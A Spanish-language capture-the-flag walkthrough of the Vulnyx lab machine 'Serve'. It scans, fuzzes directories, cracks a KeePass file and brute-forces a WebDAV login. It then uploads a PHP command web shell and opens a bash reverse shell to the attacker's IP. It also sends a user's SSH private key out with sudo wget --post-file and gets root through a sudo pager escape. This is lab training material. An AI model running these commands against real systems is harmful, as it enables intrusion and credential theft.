![]() |
|
| Máquina: Serve | |
| SO: Linux | |
| Dificultad: Easy | |
| Link OVA: Vulnyx |

1. Verificamos dispositivos en la red.
sudo arp-scan -I enp2s0 --localnet

2. Escanemos puertos abiertos en el host objetivo.
sudo nmap -p -sS -sCV --open --min-rate=5000 -n -Pn 192.168.1.12 -oN report_scan

3. Visitando el servicio apache, no tenemos nada importante.
http://192.168.1.12

4. Fuzzeamos en busca de directorios.
gobuster dir -u http://191.168.1.12/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

- Vistamos la primera ruta y nos dice que no tenemos permisos.
http://192.168.1.12/javascript/
- En la segunda ruta tampoco se ve nada importante.
http://192.168.1.12/secrets/
- En el tercer directorio, tenemos un panel login, pero no tenemos credenciales.
http://192.168.1.12/webdav/

5. Seguimos fuzzeando, ahora contemplamos la busqueda de ficheros.
gobuster dir -u http://192.168.1.12/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt

6. Revisamos el fichero notes haber que nos muestra.
http://192.168.1.12/notes.txt

7. Fuzzeamos el directorio secret, tambien contemplamos ficheros kdbx.
gobuster dir -u http://192.168.1.12/secrets/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt,kdbx

8. Nos descargamos el fichero db.kdbx visitando a esta url.
http://192.168.1.12/secrets/db.kdbx
9. Creamos un hash que represente la contraseña del fichero.
ls
keepass2john db.kdbx > kepass.txt

10. Aplicamos bruteforce al hash para obtener la contraseña.
john --wordlist=/usr/share/wordlists/rockyou.txt kepass.txt

11. Abrimos keepass y asu vez abrimos la base de datos db.kdbx .
- pasos para tener keepass:
https://keepassxc.org/
chmod +x KeePassXC-2.7.7-x86_64.AppImage
./KeePassXc-2.7.7-x86_64.AppImage & disown

12. Abrimos la nota, tenemos credenciales para webdav.

- No sabemos el numero de empleado para reemplazar las X.

13. Creamos un diccionario reemplazando cada X por un numero.
crunch 9 9 -t w3bd4v%%% -o dict.txt

14. Usamos hydra para bruteforcear el panel login de webdav.
hydra -l admin -P dict.txt -f 192.168.1.12 http-get /webdav

- Ya con credenciales accedemos a webdav; está vacio.

15. Creamos un archivo para mediante un parámetro en la url poder ejecutar comandos.
echo "<?php system($_GET['cmd']);?>" > cmd.php

16. Lo subimos al servidor apache.
curl --digest --user 'admin:w3bd4v513' -T 'cmd.php' 'http://192.168.1.12/webdav/'

17. Probamos si funciona ejecutando un comando al azar.
http://102.168.1.12/webdav/cmd.php?cmd=id

18. Nos ponemos en escucha en en puerto.
sudo nc -nlvp 443

19. Nos enviamos una reverse-shell a nuestro nc.
http://192.168.1.12/webdav/cmd.php?cmd=bash -c "bash -i>%26/dev/tcp/192.168.1.9/443 0>%261"

- Obtenemos la conexión a la máquina:

20. Revisamos permisos sudo disponibles.
sudo -l

21. Nos ponemos en escucha en otro puerto, y usando wget nos enviamos el contenido del idrsa del usuario teo.
sudo -u teo /usr/bin/wget --post-file=/home/teo/.ssh/id_rsa 192.168.1.9:4444

22. Copiamos y guardamos la idrsa en un fichero.
nano id_rsa

23. Utilizamos RSAcrack para crackear la contraseña.
RSAcrack -w /usr/share/wordlists/rockyou.txt -k id_rsa

24. Ahora accedemos por ssh como el usuario teo proporcionando la contraseña obtenida.
ssh -i id_rsa teo@192.168.1.12

25. Revisamos permisos sudo del usuario, vemos que podemos ejecutar el binario ‘bro’ como root.
sudo -l

26. Si ejecutamos este binario, nos dice que ejecutemos como ‘bro curl’.
sudo bro

27. Una vez ejecutado, al final(:) nos lanzamos una bash.
!/bin/bash

28. Ya logrado el super-usuario en la máquina, finalizamos obteniendo la flag de root.
cat /root/root.txt

